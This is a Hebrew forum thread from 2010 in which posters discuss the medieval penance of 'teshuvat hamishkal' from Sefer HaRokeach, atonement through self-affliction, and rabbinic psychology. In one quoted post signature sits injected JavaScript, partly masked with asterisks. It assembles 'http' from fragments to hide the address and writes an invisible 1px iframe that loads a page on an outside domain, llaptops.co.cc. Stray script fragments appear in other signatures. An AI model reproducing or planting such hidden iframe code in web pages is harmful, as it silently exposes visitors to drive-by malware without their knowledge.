| נשלח ב-21/11/2010 21:23 |
 |
| |
האם עבירה היא כזו הנאה?
ספר הרוקח הלכות תשובה סימן ו
"תשובת המשקל. כפי הנאה שנהנה בנשיקה ובמשמוש ובהעראה יש לו להצטער בדאגת הלב ויתענה לכל הפחות מ' יום ולא יאכל בשר ולא ישתה יין בלילה שיש לו להתענות למחר ולא בלילה לאחר תעניתו ויצטער בשכיבתו יומם ולילה לשקול הצער כנגד חשק ונשק התאוה אשר נהנה: " ספר הרוקח הלכות תשובה סימן י
תשובת המשקל יש לו לשקול צערו כנגד הנאתו שנהנה בה ושנה שלימה אסור לאכול בשר ולשתות יין לבד משבתות וימים טובים ופורים ולא יאכל לחם חם ולא ירחץ כי אם בימים טובים מעט ולא ילך לראות בשום שחוק כי אם ילך לנשואין בשעת הברכה ולא יעדן עצמו בשום דבר וילקה בכל יום וישכב על דף אחד בלא כר כי אם בשבת וביום טוב על תבן או על קש וכר בראשו ויסיר רוח הבהמיו' שבו חומר התאוה וחיי צער יחיה ושק על בשרו ולא ידבר מעניין התאוה חשקים ונשוקים ומשמושים ומיני אהבות וחשק או חמודים:
_________________
|
|
|
|
| נשלח ב-22/11/2010 22:53 |
|
| |
למיימוני אכן לא זו היתה כוונת דברי. לדעתי ולדעת הרבה ספרים וסופריהם לפני, תשובת המשקל אינה מגדרי התשובה -והיא שיעזוב החוטא חטאו כפי שכתב הרמב״ם- אלא מגדרי הכפרה ומירוק החטא. איני יודע מה הפירוש להרגיש נקי !. כשאדם עובר עבירה ומחליט לא לחזור עליה שנית כבר שב. האם זו תשובה שלימה ? כן. האם הוא כבר נקי ולא נשאר בו רושם מהחטא ? לא. יש את המאמר הידוע ״כיון שעבר אדם עבירה ושנה בו נעשית לו כהיתר״ שהמכוון בדברי חז״ל אלו שאחרי חטא נעשית באדם הטיה מסויימת לחטוא שנית ואותה עליו לשרש כדי להיות נקי מצד שני הרמב״ם באומרו שתשובה שאדם עושה בזקנותו אינה שלימה כמו שהיה עושה אותה בצעירותו אינו מכוון לדברי אלו שאדרבא בזקנותו בין כה וכה אין נטיותיו שסיגל בחטאיו בתוקפן ועדיין אין תשובתו שלימה ( היה ראוי לפתוח אשכול על הנושא ״ פסיכולוגיה חז״לית מנין ולאן ״ כשהכוונה שלי על כך שיש הרבה פסיכולוגיות בלבוש תיאולוגי שלא תמיד נזהה אותן במבט ראשוני)
_________________
תוקן על ידי pi_haton ב- 22/11/2010 22:55:30
|
|
|
|
| נשלח ב-22/11/2010 20:32 |
|
| |
| מיימוני כתב: |  | | לפעמים נסיון לכפר על ידי מעשים רבים ומורכבים של סבל הוא תרופה לנפש. האדם רוצה בסבל מפני שכך הוא מרגיש שהוא "משלם" ורשאי לסלוח לעצמו ולקבל את עצמו נקי.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
|
|
האם זה מה שעומד ברקע של תשובת המשקל של חסידי אשכנז?
_________________
|
|
|
|
| נשלח ב-22/11/2010 20:12 |
|
| |
זה בתור לימוד היקשי, [שיכול לבוא מעצם הקבלה גם אם בפועל לא יבואו בסוף הייסורים]
אבל חוששני שסטינו כברת דרך ממגמת האשכול העיקרית.
|
|
|
|
| נשלח ב-22/11/2010 19:46 |
|
| |
| שוניקו כתב: | | זה מבחינת הכוונה הטובה שלו,
אבל הבחינה של רבינו יונה "וישיב אל ליבו כי רע ומר עזבו את השם",
לכאורה יותר מובנת כאשר יש לכך הקשר השתלשלותי בין העבירה למצב הביש של הייסורים.. |
|
עצם העובדה שקבל על עצמו את היסורים מלמדת שהוא משיב אל ליבו היטב כי רע ומר עוזבו את השם.
|
|
|
|
| נשלח ב-22/11/2010 19:32 |
|
| |
זה מבחינת הכוונה הטובה שלו,
אבל הבחינה של רבינו יונה "וישיב אל ליבו כי רע ומר עזבו את השם",
לכאורה יותר מובנת כאשר יש לכך הקשר השתלשלותי בין העבירה למצב הביש של הייסורים..
|
|
|
|
| נשלח ב-22/11/2010 19:27 |
|
| |
| שוניקו כתב: | | אבל מה שמקבל על עצמו - לכאורה יש בזה רק כעין שילד כותב מאה פעמים "לא אדבר יותר באמצע השיעור"..
|
|
אדרבא כאן הוא "נכנס ראש בראש" עם מציאות השקר שבנה ועוקר אותה ממנו בס"ד.
|
|
|
|
| נשלח ב-22/11/2010 19:20 |
|
| |
גם ייסורים מתוזמנים בכוונה?
כי בפשוטו יש לחלק בין ייסורים שנטפלים אל האדם על כרחו,
שזה מן הסתם בגלל כמה ענייני שקר שנפשו דבקה בהם והוליכוהו אל מחוזות הייסורים [הריחוק מהשורש כפי שביארת] [וייסורי מחלות ומקרים רעים גם בכלל זה, כי נסתבבו על ידי מעשים רעים ושקריים כנראה,
וגם האיברים תלויים בנשמה].
אבל מה שמקבל על עצמו - לכאורה יש בזה רק כעין שילד כותב מאה פעמים "לא אדבר יותר באמצע השיעור"..
|
|
|
|
| נשלח ב-22/11/2010 18:53 |
|
| |
| שוניקו כתב: | | מה שאותי מעניין כאן - זה איך התייסרות שאיננה קשורה ישירות לעבירה,
[כלומר איננה תוצאה טבעית של העבירה] מספקת את הלימודים הנדרשים לעובר העבירה,
מה בעצם לא היה טוב במה שהוא עשה.. |
|
עובר העבירה יצר מצב "בלתי מתוכנן" בבריאה, כי בורא עולם לא הכין מקום לפעולה כזו (שהרי אסר אותה). הבורא איפשר לנו ליצור קיום זמני גם למצבים בלתי מתוכננים כאלה, אבל סוף סוף זו מציאות של שקר שצריכה להתבטל. כל כאב ויסורים שיש לנו זה התנגשות בין קיומנו ובין קיום מציאויות שקריות כאלה, וע"י היסורים ועזיבת החטא אנחנו מבטלים את קיומם. לכן כל יסורים שתתלווה להם הרגשת התקרבות לשם (גם אם אינו יודע איזו עבירה ספציפית נמחקת כעת) יועילו לבטל עוד מציאות שקרית מן העולם, וחייו של השב יהיו נקיים ונכונים יותר.
|
|
|
|
| נשלח ב-22/11/2010 18:44 |
|
| |
מה שאותי מעניין כאן - זה איך התייסרות שאיננה קשורה ישירות לעבירה,
[כלומר איננה תוצאה טבעית של העבירה] מספקת את הלימודים הנדרשים לעובר העבירה,
מה בעצם לא היה טוב במה שהוא עשה..
|
|
|
|
| נשלח ב-22/11/2010 18:35 |
|
| |
| שוניקו כתב: | | המשמעות לכאורה היא, שהעובר עבירה, כביכול יצר מציאות חדשה של חיות מחודשת
בתוך עולם של הסתר ומזימות, ומה שמוטל עליו זה "להשיב", את עולמו האפלולי לבוראו,
על ידי שירומם זאת בהתייסרות ובהארת המקום האפל שהוא היה שרוי בו, על ידי תורה וכו'.
[וסמך לזה :במקום שבעלי תשובה עומדים וכו, משמע שיש לכל אחד מקום אחר ממש, ולא שזה נמחק
והיה כלא היה, דא"כ מדוע שלא ישוב לעמוד במקום של צדיק ממש?] |
|
אכן כן. ויתירה מזו, כל הכוחות שהוציא לפועל בעבירותיו נמסרים כעת כולם לקדושה ע"י תשובתו (כמו ספורטאי או צייר וכו' שפיתחו יכולות וכשרונות, אשר כולם יהיו קודש לקודש כעת).
|
|
|
|
| נשלח ב-22/11/2010 18:21 |
|
| |
האם בכל ההסברים הנ"ל יש תובנה מדוע יש מצבים שזדונות נעשים כזכויות?
הרי לכאורה, במצב היותר אופטימי, תשובת המשקל תמחק את מה שהיה, והיה כלא היה.
המשמעות לכאורה היא, שהעובר עבירה, כביכול יצר מציאות חדשה של חיות מחודשת
בתוך עולם של הסתר ומזימות, ומה שמוטל עליו זה "להשיב", את עולמו האפלולי לבוראו,
על ידי שירומם זאת בהתייסרות ובהארת המקום האפל שהוא היה שרוי בו, על ידי תורה וכו'.
[וסמך לזה :במקום שבעלי תשובה עומדים וכו, משמע שיש לכל אחד מקום אחר ממש, ולא שזה נמחק
והיה כלא היה, דא"כ מדוע שלא ישוב לעמוד במקום של צדיק ממש?]
|
|
|
|
| נשלח ב-22/11/2010 16:47 |
|
| |
פי האתון
אכן התעסקות מרובה בעבירה גם היא לא בריאה וגם היא מחזירה את האדם למצבו הקודם.
ואכן הטוב שבתשובה שבה אדם מוחק לגמרי את מה שהיה, כאילו נעשה על ידי אדם אחר, ולא הוא.
הבעיה היא שזה ציור אידיאלי. האם כל כך קל לא לזכור את העבירות הגדולות, לפעמים מחמת העונג שלהן ולפעמים מחמת הבושה והכאב?
אני מפנה כדוגמא ל"חטאו" של גיבור 1984. עד כמה שאני זוכר, הוא גנב שוקולד, מעדן נדיר מאד, מאחותו, וצער הכשלון הזה רודף אותו כל ימיו וכמדומה גם תורם לחוסר העמידות שלו בפני השלטון.
קל וחומר למעשים גרועים יותר.
הנקל היה לדוד להתמודד עם חטא בת שבע? ולא מחמת העונג לבד, אלא מחמת גודל העבירה.
לפעמים נסיון לכפר על ידי מעשים רבים ומורכבים של סבל הוא תרופה לנפש. האדם רוצה בסבל מפני שכך הוא מרגיש שהוא "משלם" ורשאי לסלוח לעצמו ולקבל את עצמו נקי.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
| נשלח ב-22/11/2010 16:44 |
|
| |
ירוחם
ראשית, אני מבקש לחלוק על דבריך האחרונים. כמובן, צריך להסביר למה מתכוונים במונח "תת מודע", אבל חז"ל - או לפחות חלק מהם, כפי שניתן לראות מהלכות ואולי גם ממעשים, הכירו היטב שהאדם בנוי שכבות ורבדים, רצונות מודעים ולא מודעים.
החלקים היותר מעמיקים בתיאוריות שהעלה פרויד, כמו הרמזים השונים שיש בחלומות על ידי סמלים, כגון שם דבר, מילה, שמסומנת על ידי תמונה או דימוי, מצויים בפרשנות החלומות בתלמוד.
זה שהאדם רוצה רציות מנוגדות, בולט בסוגיות רבות. מעשי הקנין נחוצים דווקא משום שאדם מלא רצונות סותרים, כגון מי שזקוק למכור סחורה או קרקע רק מחמת אונס מעות. הוא רוצה למכור עבור הכסף והוא אינו רוצה למכור כי חבל לו.
גם הפרוייקציה, כלומר השלכה ממני על אחרים, מוכרת היטב. בין במשפט כמו "כל הפוסל במומו פוסל" ובין במעשה על אביי שהלך אחרי זוג רועים, נשואים אבל לא זה לזו, מפני שחשד שהם מתכוונים לדבר עבירה, ובסוף רק הלכו באותה דרך, והוא עצמו הודה שאילו היה במקום הגבר, היה מתקשה לעמוד בפיתוי. (ועל זה גילה לו זקן ש"כל הגדול מחברו יצרו גדול הימנו").
כאן יש נושא לאשכול או אשכולות רבים. אך לא לא טרחתי על דוגמאות אלו אלא כדי להראות גדולת חכמת חכמינו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
 |
|
|
|
|
| נשלח ב-22/11/2010 12:03 |
|
| |
בחור ישיבה בא למשגיח וסיפר לו כי בלילה יש לו חלומות זימה. ויש לו קרי.
שאל אותו המשגיח- ואתה סובל מזה? לאו דוקא. אני דוקא נהנה.
לזאת כיונתי- מכיון שחז"ל אמרו אין אדם חולם בלילה אלא על מה שהוא מהרהר ביום- הם לא הכירו את התת מודע עדין-
|
|
|
|
|
| נשלח ב-22/11/2010 11:58 |
|
| |
דברי לא היו מכוונים לירוחם . אלא בכלליות הרעיון של אחטא ואשוב מונע את אפשרות התשובה, ז״א אם אנו לוקחים את רעיון התשובה כתשובת המשקל . התשובה אמורה להיות מחיקה מסויימת של מה שקיבלתי באיסור עונג ממשי , רעיוני ,או כל מה שהחטא הוסיף לי באיסור (זה גם מה שמתנאי התשובה בפשטותה הוא שיהא באותו פרק ובאותו מקום ובאותו איש ) אבל אם החוטא אומר אחטא ואשוב הוא בעצם מחשיב אצל עצמו את הנאת החטא עד כדי כך ששווה לו לסבול אחר כך צום ממושך העיקר לחטוא עכשיו את החטא שרוצה . יוצא מכך שאם באדם רגיל אנו אומדים את הנאת המשגל נניח ב40 יום צום , אצל החוטא הזה נצטרך להוסיף על אומדן הנאתו 40 יום נוספים משום שלו היתה שווה הנאת החטא ארבעים יום צום ... זה בעצם הדרישה הטבעית מהחוטא לומר ולהרגיש״ ולא שווה לנו ״ כלומר אם היה מזדמן לי עכשיו . המצב הקודם של שעת החטא , לא הייתי חוזר על מעשי
_________________
|
|
|
|
|
